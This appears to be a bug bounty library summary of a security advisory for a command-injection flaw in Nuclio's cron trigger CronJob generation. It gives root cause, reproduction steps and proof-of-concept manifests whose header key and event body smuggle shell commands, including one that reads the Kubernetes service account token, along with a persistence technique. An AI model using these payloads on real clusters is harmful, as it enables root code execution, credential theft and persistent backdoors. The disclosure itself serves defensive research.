# Nuclio: Unsanitized cron trigger event headers/body injected into CronJob shell command leads to persistent RCE

Nuclio controller interpolates cron trigger header keys and event body into a /bin/sh -c curl string, giving unauthenticated dashboard users root RCE in CronJob pods.

- Payout: Research
- Severity: critical
- Program: Nuclio
- Found by: j311yl0v3u, b0b0haha
- Disclosed: 2026-07-08
- CVE: CVE-2026-52831
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-v5px-423j-pf7p
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v5px-423j-pf7p
- Tags: area:cloud domain:cloud domain:infra impact:internal-access impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:go tech:kubernetes technique:source-review vuln:command-injection vuln:rce

**Target:** Nuclio controller CronJob generation (pkg/platform/kube/functionres/lazy.go)
**Root cause:** generateCronTriggerCronJobSpec concatenates user-controlled event.headers keys (unescaped inside double quotes) and event.body (strconv.Quote, which leaves $() intact) into a string executed via /bin/sh -c.
**Steps:**
1. Deploy Nuclio 1.15.27 on kind; create NuclioProject and a placeholder function image.
2. Create NuclioFunction with cron trigger whose header key is `X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "`.
3. Patch function status to waitingForResourceConfiguration so controller reconciles and creates the CronJob.
4. Inspect CronJob args: `/bin/sh -c curl --silent --header "X-Inject"; echo ...; id; cat ...; echo ": marker" ...`.
5. `kubectl create job --from=cronjob/<name>` and read pod logs: id runs as root, SA token printed.
6. Path-B: set `event.body: "$(id 1>&2; echo BODY_INJECTION_PROOF)"`; generated command `echo "$(...)" > /tmp/eventbody.out && curl ...` executes substitution.
7. Persistence: CronJob has no ownerReferences; scale controller to 0, delete function, CronJob survives and re-executes payload.
**How found:** Code review of generateCronTriggerCronJobSpec: noticed header keys interpolated verbatim inside double-quoted --header args and that strconv.Quote escapes " and \ but not $(), then traced the concatenated string to the /bin/sh -c sink at lazy.go:2212.
**Exploitation:** Attacker with network access to the unauthenticated Nuclio Dashboard API submits a function spec with a malicious cron trigger; controller renders it into a CronJob whose /bin/sh -c command runs attacker commands as root on every schedule tick, allowing SA token theft and cloud metadata credential access.
**Escalation:** Stolen ServiceAccount token enables Kubernetes API enumeration and, in misconfigured clusters, cluster-wide access; metadata service access enables cloud lateral movement. Missing ownerReferences makes the CronJob a persistent backdoor surviving function deletion.
**Insight:** When a Go service builds shell strings, strconv.Quote is not shell quoting — it leaves $(), backticks and unquoted-context breaks intact; also check whether generated child resources carry ownerReferences, since missing ones turn injection into persistence.

## Proof of concept (copied exactly from the original report)

**Malicious header key NuclioFunction manifest**

```
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: vul010-rce-visible
  namespace: nuclio
  labels:
    nuclio.io/project-name: default
spec:
  image: placeholder-function:latest
  runtime: python:3.9
  handler: main:handler
  build:
    functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc="
  triggers:
    cron-inject:
      kind: cron
      attributes:
        schedule: "*/1 * * * *"
        event:
          headers:
            X-Normal: safe-value
            'X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "': marker
  minReplicas: 1
  maxReplicas: 1
EOF
```

**Malicious event body manifest with $() substitution**

```
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: vul010-body-inject
  namespace: nuclio
  labels:
    nuclio.io/project-name: default
spec:
  image: placeholder-function:latest
  runtime: python:3.9
  handler: main:handler
  build:
    functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc="
  triggers:
    cron-body:
      kind: cron
      attributes:
        schedule: "*/1 * * * *"
        event:
          body: "$(id 1>&2; echo BODY_INJECTION_PROOF)"
  minReplicas: 1
  maxReplicas: 1
EOF
```

**Generated CronJob args showing injected shell command**

```
[
    "/bin/sh",
    "-c",
    "curl --silent  --header \"X-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \": marker\" --header \"X-Normal: safe-value\" --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-rce-visible\" nuclio-vul010-rce-visible.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused"
]
```

